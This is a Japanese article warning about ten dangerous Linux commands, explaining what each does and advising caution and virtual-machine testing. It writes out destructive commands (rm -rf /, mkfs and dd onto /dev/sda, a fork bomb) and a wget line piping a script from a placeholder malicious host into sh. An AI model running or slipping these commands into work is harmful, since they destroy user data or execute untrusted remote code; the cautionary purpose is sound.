Windows と同様に、Linux にもさまざまなターミナルコマンドがあります。ただし、Windows とは異なり、Linux ではシステムを破損する可能性のあるコマンドの実行を確認することはありません。したがって、これらのコマンドを使用しないことを強くお勧めします。
もちろん、以下のコマンドは通常、root 権限でのみ無駄に使用されます。一般ユーザーの場合、自分の領域だけが破壊されます。
1 rm -rf コマンド#
rm -rf コマンドは、フォルダとその内容を削除する最も迅速な方法の一つです。
わずかなタイプミスや無知が、システムの復元不可能なクラッシュを引き起こす可能性があります。
以下は、rm コマンドのいくつかのオプションです:
- rm コマンドは、Linux でファイルを削除するために通常使用されます。
- rm -r コマンドは、フォルダを再帰的に削除します。空のフォルダでも削除します。
- rm -f コマンドは、「読み取り専用ファイル」を確認せずに直接削除します。Linux では、ファイルが読み取り専用であるかどうかは関係ありません。重要なのは、親ディレクトリに書き込み権限があるかどうかです。したがって、-f オプションは、個々の削除要求の確認を行わずに静かに削除することを意味します。また、元の rm コマンドには削除のプロンプトは実際にはありませんが、一般的なディストリビューションでは、削除の確認を要求するために rm に - i パラメータをエイリアスとして追加します。-f はこのプロンプトを抑制します。
- rm -rf / : ルートディレクトリのすべてを強制的に削除します。
- rm -rf *: 現在のディレクトリのすべてのファイルを強制的に削除します。
- rm -rf . : 現在のフォルダとそのサブフォルダを強制的に削除します。
これ以降、rm -rf コマンドを実行する際には注意してください。".bashrc" ファイルで 'rm' コマンドに rm -i のエイリアスを作成して、ファイルの削除時の事故を防ぐことができます。それぞれの削除要求に確認を求めます。(注:ほとんどのディストリビューションは既にこれを行っていますが、まだ行っていない場合は、-f パラメータを使用する前に何をしているかよく考えてください!私は血の涙を流して教訓を得ました。)
2 :{:|:&};: コマンド#
これはフォーク爆弾の例です。
具体的な操作は、':' という名前の関数を定義し、それを 2 回呼び出すことです。1 回は前面で、もう 1 回はバックグラウンドで実行されます。システムがクラッシュするまで繰り返し実行されます。
3 コマンド > /dev/sda#
このコマンドは、特定の「コマンド」の出力をブロックデバイス /dev/sda に書き込みます。
この操作により、ブロックデバイス内のすべてのデータブロックがコマンドによって書き換えられ、ブロックデバイス全体のデータが失われます。
4 mv フォルダ /dev/null#
このコマンドは、特定の「フォルダ」を /dev/null に移動します。
Linux では、/dev/null または null デバイスは特殊なファイルであり、それに書き込まれたすべてのデータがクリアされ、書き込み操作が成功したと返されます。
もちろん、これはデータ復元ソフトウェアを防ぐことはできません - したがって、本当の完全な破壊を実現するには、専用のソフトウェアまたは手法を使用する必要があります。
5 wget http://malicious_source -O- | sh#
このコマンドは、(おそらく)悪意のあるソースからスクリプトをダウンロードして実行します。
wget コマンドはこのスクリプトをダウンロードし、sh コマンドは(無条件で)ダウンロードしたスクリプトを実行します。
注意:ダウンロードするパッケージやスクリプトのソースには常に注意を払う必要があります。信頼できるソースからのみスクリプト / プログラムをダウンロードすることができます。
6 mkfs.ext3 /dev/sda#
このコマンドは、ブロックデバイス'sda' をフォーマットします。このコマンドを実行すると、ブロックデバイス(ハードドライブ)がフォーマットされ、システムが復元不可能な状態になります。
通常、/dev/sda などのデバイスを直接使用することはありません。raw デバイスとして使用する場合を除きます。
一般的には、sda を sda1、sda2 などのパーティションに分割してから使用します。もちろん、sda または sda1 を使用する場合でも、ブロックデバイスまたはパーティションに対して mkfs を実行すると破壊的な結果になり、上記のデータは消えてしまいます。
7 > file#
このコマンドは、ファイルの内容をクリアしたり、コマンドの出力を記録したりするためによく使用されます。
ただし、実行する前に、出力先のファイルが空であるか存在しないことを確認してください。そうでない場合、元のファイルは復元できなくなります - データ復元ソフトウェアでも助けることはできません。
おそらく必要なのは「>>」であり、新しい出力をファイルに追加することであり、そのファイルをフラッシュすることではありません。
上記のような入力ミスや無知の入力(例:"> xt.conf")で実行すると、設定ファイルや他のシステム設定ファイルが上書きされます。
8 ^foo^bar#
このコマンドは、前に実行したコマンドを編集するために使用されます。コマンド全体を再入力する必要はありません。
foobar コマンドを使用する際に、元のコマンドを変更するリスクを完全に確認しない場合、本当のトラブルの原因になる可能性があります。
9 dd if=/dev/random of=/dev/sda#
このコマンドは、ランダムなジャンクファイルをブロックデバイス sda に書き込んでデータを消去し、システムを混乱させ、復元不可能な状態にするものです。
先ほど mv でブラックホールに移動してもデータが完全に削除されないことを覚えていますか?それでは、このコマンドは完全な削除方法を提供します!もちろん、安全のために複数回上書きすることもできます。
10 隠しコマンド#
以下のコマンドは、実際には最初のコマンド(rm -rf)です。
このコードは 16 進数で隠されており、無知なユーザーはだまされるかもしれません。ターミナルで以下のコマンドを実行すると、ルートパーティションが消去される可能性があります。
真の危険は隠されており、簡単に検出されません。常に自分が何をしているかとその結果に注意を払う必要があります。
忘れずに、未知のソースからのコードをコンパイル / 実行しないでください。
今日はこれでコマンドの紹介を終わります。サーバーや他のデバイスでランダムに試すことは絶対にしないでください。
これらをテストしたい場合は、仮想マシンで実行してください。そうしないと、ファイルの損失やシステムのクラッシュが発生する可能性があります。